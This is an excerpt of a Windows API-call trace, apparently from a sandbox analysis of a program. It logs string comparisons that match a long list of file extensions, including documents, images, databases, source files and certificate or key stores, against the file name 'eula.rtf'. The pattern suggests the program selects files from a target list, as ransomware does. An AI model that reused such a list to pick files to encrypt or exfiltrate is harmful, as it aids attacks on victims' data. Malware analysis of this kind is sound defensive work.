	[0060.185] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0060.185] lstrlenW (lpString=".ai6") returned 4
	[0060.185] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0060.185] lstrlenW (lpString=".ai7") returned 4
	[0060.185] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0060.185] lstrlenW (lpString=".ai8") returned 4
	[0060.185] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0060.185] lstrlenW (lpString=".anim") returned 5
	[0060.185] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0060.185] lstrlenW (lpString=".arw") returned 4
	[0060.186] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0060.186] lstrlenW (lpString=".as") returned 3
	[0060.186] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0060.186] lstrlenW (lpString=".asa") returned 4
	[0060.186] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0060.186] lstrlenW (lpString=".asc") returned 4
	[0060.186] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0060.186] lstrlenW (lpString=".ascx") returned 5
	[0060.186] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0060.186] lstrlenW (lpString=".asm") returned 4
	[0060.186] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0060.186] lstrlenW (lpString=".asmx") returned 5
	[0060.186] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0060.186] lstrlenW (lpString=".asp") returned 4
	[0060.186] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0060.186] lstrlenW (lpString=".aspx") returned 5
	[0060.186] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0060.186] lstrlenW (lpString=".asr") returned 4
	[0060.186] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0060.186] lstrlenW (lpString=".asx") returned 4
	[0060.186] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0060.186] lstrlenW (lpString=".avi") returned 4
	[0060.186] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0060.186] lstrlenW (lpString=".avs") returned 4
	[0060.186] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0060.186] lstrlenW (lpString=".backup") returned 7
	[0060.186] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0060.186] lstrlenW (lpString=".bak") returned 4
	[0060.186] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0060.187] lstrlenW (lpString=".bay") returned 4
	[0060.187] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0060.187] lstrlenW (lpString=".bd") returned 3
	[0060.187] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0060.187] lstrlenW (lpString=".bin") returned 4
	[0060.187] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0060.187] lstrlenW (lpString=".bmp") returned 4
	[0060.187] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0060.187] lstrlenW (lpString=".bz2") returned 4
	[0060.187] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0060.187] lstrlenW (lpString=".c") returned 2
	[0060.187] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0060.187] lstrlenW (lpString=".cdr") returned 4
	[0060.187] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0060.187] lstrlenW (lpString=".cer") returned 4
	[0060.187] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0060.187] lstrlenW (lpString=".cf") returned 3
	[0060.187] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0060.187] lstrlenW (lpString=".cfc") returned 4
	[0060.187] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0060.187] lstrlenW (lpString=".cfm") returned 4
	[0060.187] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0060.187] lstrlenW (lpString=".cfml") returned 5
	[0060.187] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0060.187] lstrlenW (lpString=".cfu") returned 4
	[0060.187] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0060.187] lstrlenW (lpString=".chm") returned 4
	[0060.187] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0060.187] lstrlenW (lpString=".cin") returned 4
	[0060.187] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0060.187] lstrlenW (lpString=".class") returned 6
	[0060.188] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0060.188] lstrlenW (lpString=".clx") returned 4
	[0060.188] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0060.188] lstrlenW (lpString=".config") returned 7
	[0060.188] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0060.188] lstrlenW (lpString=".cpp") returned 4
	[0060.188] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0060.188] lstrlenW (lpString=".cr2") returned 4
	[0060.188] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0060.188] lstrlenW (lpString=".crt") returned 4
	[0060.188] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0060.188] lstrlenW (lpString=".crw") returned 4
	[0060.188] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0060.188] lstrlenW (lpString=".cs") returned 3
	[0060.188] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0060.188] lstrlenW (lpString=".css") returned 4
	[0060.188] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0060.188] lstrlenW (lpString=".csv") returned 4
	[0060.188] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0060.188] lstrlenW (lpString=".cub") returned 4
	[0060.188] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0060.188] lstrlenW (lpString=".dae") returned 4
	[0060.188] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0060.188] lstrlenW (lpString=".dat") returned 4
	[0060.188] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0060.188] lstrlenW (lpString=".db") returned 3
	[0060.188] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0060.188] lstrlenW (lpString=".dbf") returned 4
	[0060.188] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0060.188] lstrlenW (lpString=".dbx") returned 4
	[0060.188] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0060.189] lstrlenW (lpString=".dc3") returned 4
	[0060.189] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0060.189] lstrlenW (lpString=".dcm") returned 4
	[0060.189] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0060.189] lstrlenW (lpString=".dcr") returned 4
	[0060.189] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0060.189] lstrlenW (lpString=".der") returned 4
	[0060.189] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0060.189] lstrlenW (lpString=".dib") returned 4
	[0060.189] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0060.189] lstrlenW (lpString=".dic") returned 4
	[0060.189] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0060.189] lstrlenW (lpString=".dif") returned 4
	[0060.189] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0060.189] lstrlenW (lpString=".divx") returned 5
	[0060.189] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0060.189] lstrlenW (lpString=".djvu") returned 5
	[0060.189] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0060.189] lstrlenW (lpString=".dng") returned 4
	[0060.189] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0060.189] lstrlenW (lpString=".doc") returned 4
	[0060.189] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0060.189] lstrlenW (lpString=".docm") returned 5
	[0060.189] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0060.189] lstrlenW (lpString=".docx") returned 5
	[0060.189] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0060.189] lstrlenW (lpString=".dot") returned 4
	[0060.189] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0060.189] lstrlenW (lpString=".dotm") returned 5
	[0060.189] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0060.189] lstrlenW (lpString=".dotx") returned 5
	[0060.190] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0060.190] lstrlenW (lpString=".dpx") returned 4
	[0060.190] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0060.190] lstrlenW (lpString=".dqy") returned 4
	[0060.190] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0060.190] lstrlenW (lpString=".dsn") returned 4
	[0060.190] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0060.190] lstrlenW (lpString=".dt") returned 3
	[0060.190] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0060.190] lstrlenW (lpString=".dtd") returned 4
	[0060.190] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0060.190] lstrlenW (lpString=".dwg") returned 4
	[0060.190] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0060.190] lstrlenW (lpString=".dwt") returned 4
	[0060.190] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0060.190] lstrlenW (lpString=".dx") returned 3
	[0060.190] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0060.190] lstrlenW (lpString=".dxf") returned 4
	[0060.190] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0060.190] lstrlenW (lpString=".edml") returned 5
	[0060.190] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0060.190] lstrlenW (lpString=".efd") returned 4
	[0060.190] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0060.190] lstrlenW (lpString=".elf") returned 4
	[0060.190] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0060.190] lstrlenW (lpString=".emf") returned 4
	[0060.190] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0060.190] lstrlenW (lpString=".emz") returned 4
	[0060.190] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0060.190] lstrlenW (lpString=".epf") returned 4
	[0060.190] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0060.191] lstrlenW (lpString=".eps") returned 4
	[0060.191] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0060.191] lstrlenW (lpString=".epsf") returned 5
	[0060.191] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0060.191] lstrlenW (lpString=".epsp") returned 5
	[0060.191] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0060.191] lstrlenW (lpString=".erf") returned 4
	[0060.191] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0060.191] lstrlenW (lpString=".exr") returned 4
	[0060.191] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0060.191] lstrlenW (lpString=".f4v") returned 4
	[0060.191] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0060.191] lstrlenW (lpString=".fido") returned 5
	[0060.191] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0060.191] lstrlenW (lpString=".flm") returned 4
	[0060.191] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0060.191] lstrlenW (lpString=".flv") returned 4
	[0060.191] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0060.191] lstrlenW (lpString=".frm") returned 4
	[0060.191] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0060.191] lstrlenW (lpString=".fxg") returned 4
	[0060.191] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0060.191] lstrlenW (lpString=".geo") returned 4
	[0060.191] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0060.191] lstrlenW (lpString=".gif") returned 4
	[0060.191] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0060.191] lstrlenW (lpString=".grs") returned 4
	[0060.191] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0060.191] lstrlenW (lpString=".gz") returned 3
	[0060.191] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0060.191] lstrlenW (lpString=".h") returned 2
	[0060.192] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0060.192] lstrlenW (lpString=".hdr") returned 4
	[0060.192] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0060.192] lstrlenW (lpString=".hpp") returned 4
	[0060.192] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0060.192] lstrlenW (lpString=".hta") returned 4
	[0060.192] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0060.192] lstrlenW (lpString=".htc") returned 4
	[0060.192] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0060.192] lstrlenW (lpString=".htm") returned 4
	[0060.192] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0060.192] lstrlenW (lpString=".html") returned 5
	[0060.192] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0060.192] lstrlenW (lpString=".icb") returned 4
	[0060.192] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0060.192] lstrlenW (lpString=".ics") returned 4
	[0060.192] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0060.192] lstrlenW (lpString=".iff") returned 4
	[0060.192] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0060.192] lstrlenW (lpString=".inc") returned 4
	[0060.192] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0060.192] lstrlenW (lpString=".indd") returned 5
	[0060.192] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0060.192] lstrlenW (lpString=".ini") returned 4
	[0060.192] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0060.192] lstrlenW (lpString=".iqy") returned 4
	[0060.192] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0060.192] lstrlenW (lpString=".j2c") returned 4
	[0060.192] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0060.192] lstrlenW (lpString=".j2k") returned 4
	[0060.192] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0060.192] lstrlenW (lpString=".java") returned 5
	[0060.193] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0060.193] lstrlenW (lpString=".jp2") returned 4
	[0060.193] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0060.193] lstrlenW (lpString=".jpc") returned 4
	[0060.193] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0060.193] lstrlenW (lpString=".jpe") returned 4
	[0060.193] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0060.193] lstrlenW (lpString=".jpeg") returned 5
	[0060.193] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0060.193] lstrlenW (lpString=".jpf") returned 4
	[0060.193] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0060.193] lstrlenW (lpString=".jpg") returned 4
	[0060.193] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0060.193] lstrlenW (lpString=".jpx") returned 4
	[0060.193] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0060.193] lstrlenW (lpString=".js") returned 3
	[0060.193] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0060.193] lstrlenW (lpString=".jsf") returned 4
	[0060.193] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0060.193] lstrlenW (lpString=".json") returned 5
	[0060.193] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0060.193] lstrlenW (lpString=".jsp") returned 4
	[0060.193] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0060.193] lstrlenW (lpString=".kdc") returned 4
	[0060.193] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0060.193] lstrlenW (lpString=".kmz") returned 4
	[0060.193] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0060.193] lstrlenW (lpString=".kwm") returned 4
	[0060.193] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0060.193] lstrlenW (lpString=".lasso") returned 6
	[0060.193] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0060.194] lstrlenW (lpString=".lbi") returned 4
	[0060.194] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0060.194] lstrlenW (lpString=".lgf") returned 4
	[0060.194] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0060.194] lstrlenW (lpString=".lgp") returned 4
	[0060.194] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0060.194] lstrlenW (lpString=".log") returned 4
	[0060.194] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0060.194] lstrlenW (lpString=".m1v") returned 4
	[0060.194] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0060.194] lstrlenW (lpString=".m4a") returned 4
	[0060.194] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0060.194] lstrlenW (lpString=".m4v") returned 4
	[0060.194] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0060.194] lstrlenW (lpString=".max") returned 4
	[0060.194] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0060.194] lstrlenW (lpString=".md") returned 3
	[0060.194] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0060.194] lstrlenW (lpString=".mda") returned 4
	[0060.194] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0060.194] lstrlenW (lpString=".mdb") returned 4
	[0060.194] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0060.194] lstrlenW (lpString=".mde") returned 4
	[0060.194] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0060.194] lstrlenW (lpString=".mdf") returned 4
	[0060.194] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0060.194] lstrlenW (lpString=".mdw") returned 4
	[0060.194] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0060.194] lstrlenW (lpString=".mef") returned 4
	[0060.194] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0060.194] lstrlenW (lpString=".mft") returned 4
	[0060.194] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0060.194] lstrlenW (lpString=".mfw") returned 4
	[0060.194] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0060.194] lstrlenW (lpString=".mht") returned 4
	[0060.195] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0060.195] lstrlenW (lpString=".mhtml") returned 6
	[0060.195] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0060.195] lstrlenW (lpString=".mka") returned 4
	[0060.198] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0060.198] lstrlenW (lpString=".mkidx") returned 6
	[0060.198] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0060.198] lstrlenW (lpString=".mkv") returned 4
	[0060.198] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0060.198] lstrlenW (lpString=".mos") returned 4
	[0060.198] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0060.198] lstrlenW (lpString=".mov") returned 4
	[0060.198] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0060.198] lstrlenW (lpString=".mp3") returned 4
	[0060.198] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0060.198] lstrlenW (lpString=".mp4") returned 4
	[0060.198] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0060.198] lstrlenW (lpString=".mpeg") returned 5
	[0060.198] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0060.198] lstrlenW (lpString=".mpg") returned 4
	[0060.199] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0060.199] lstrlenW (lpString=".mpv") returned 4
	[0060.199] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0060.199] lstrlenW (lpString=".mrw") returned 4
	[0060.199] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0060.199] lstrlenW (lpString=".msg") returned 4
	[0060.199] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0060.199] lstrlenW (lpString=".mxl") returned 4
	[0060.199] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0060.199] lstrlenW (lpString=".myd") returned 4
	[0060.199] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0060.199] lstrlenW (lpString=".myi") returned 4
	[0060.199] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0060.199] lstrlenW (lpString=".nef") returned 4
	[0060.199] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0060.199] lstrlenW (lpString=".nrw") returned 4
	[0060.199] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0060.199] lstrlenW (lpString=".obj") returned 4
	[0060.199] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0060.199] lstrlenW (lpString=".odb") returned 4
	[0060.199] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0060.199] lstrlenW (lpString=".odc") returned 4
	[0060.199] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0060.199] lstrlenW (lpString=".odm") returned 4
	[0060.199] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0060.199] lstrlenW (lpString=".odp") returned 4
	[0060.199] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0060.199] lstrlenW (lpString=".ods") returned 4
	[0060.199] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0060.199] lstrlenW (lpString=".oft") returned 4
	[0060.199] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0060.199] lstrlenW (lpString=".one") returned 4
	[0060.199] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0060.200] lstrlenW (lpString=".onepkg") returned 7
	[0060.200] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0060.200] lstrlenW (lpString=".onetoc2") returned 8
	[0060.200] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0060.200] lstrlenW (lpString=".opt") returned 4
	[0060.200] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0060.200] lstrlenW (lpString=".oqy") returned 4
	[0060.200] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0060.200] lstrlenW (lpString=".orf") returned 4
	[0060.200] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0060.200] lstrlenW (lpString=".p12") returned 4
	[0060.200] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0060.200] lstrlenW (lpString=".p7b") returned 4
	[0060.200] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0060.200] lstrlenW (lpString=".p7c") returned 4
	[0060.200] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0060.200] lstrlenW (lpString=".pam") returned 4
	[0060.200] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0060.200] lstrlenW (lpString=".pbm") returned 4
	[0060.200] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0060.200] lstrlenW (lpString=".pct") returned 4
	[0060.200] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0060.200] lstrlenW (lpString=".pcx") returned 4
	[0060.200] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0060.200] lstrlenW (lpString=".pdd") returned 4
	[0060.200] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0060.200] lstrlenW (lpString=".pdf") returned 4
	[0060.200] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0060.200] lstrlenW (lpString=".pdp") returned 4
	[0060.200] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0060.200] lstrlenW (lpString=".pef") returned 4
	[0060.200] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0060.200] lstrlenW (lpString=".pem") returned 4
	[0060.201] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0060.201] lstrlenW (lpString=".pff") returned 4
	[0060.201] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0060.201] lstrlenW (lpString=".pfm") returned 4
	[0060.201] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0060.201] lstrlenW (lpString=".pfx") returned 4
	[0060.201] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0060.201] lstrlenW (lpString=".pgm") returned 4
	[0060.201] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0060.201] lstrlenW (lpString=".php") returned 4
	[0060.201] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0060.201] lstrlenW (lpString=".php3") returned 5
	[0060.201] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0060.201] lstrlenW (lpString=".php4") returned 5
	[0060.201] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0060.201] lstrlenW (lpString=".php5") returned 5
	[0060.201] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0060.201] lstrlenW (lpString=".phtml") returned 6
	[0060.201] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0060.201] lstrlenW (lpString=".pict") returned 5
	[0060.201] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0060.201] lstrlenW (lpString=".pl") returned 3
	[0060.201] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0060.201] lstrlenW (lpString=".pls") returned 4
	[0060.201] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0060.201] lstrlenW (lpString=".pm") returned 3
	[0060.201] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0060.201] lstrlenW (lpString=".png") returned 4
	[0060.201] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0060.201] lstrlenW (lpString=".pnm") returned 4
	[0060.201] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0060.201] lstrlenW (lpString=".pot") returned 4
	[0060.201] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0060.202] lstrlenW (lpString=".potm") returned 5
	[0060.202] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0060.202] lstrlenW (lpString=".potx") returned 5
	[0060.202] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0060.202] lstrlenW (lpString=".ppa") returned 4
	[0060.202] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0060.202] lstrlenW (lpString=".ppam") returned 5
	[0060.202] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0060.202] lstrlenW (lpString=".ppm") returned 4
	[0060.202] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0060.202] lstrlenW (lpString=".pps") returned 4
	[0060.202] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0060.202] lstrlenW (lpString=".ppsm") returned 5
	[0060.202] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0060.202] lstrlenW (lpString=".ppt") returned 4
	[0060.202] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0060.202] lstrlenW (lpString=".pptm") returned 5
	[0060.202] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0060.202] lstrlenW (lpString=".pptx") returned 5
	[0060.202] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0060.202] lstrlenW (lpString=".prn") returned 4
	[0060.202] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0060.202] lstrlenW (lpString=".ps") returned 3
	[0060.202] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0060.202] lstrlenW (lpString=".psb") returned 4
	[0060.202] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0060.202] lstrlenW (lpString=".psd") returned 4
	[0060.202] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0060.202] lstrlenW (lpString=".pst") returned 4
	[0060.202] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
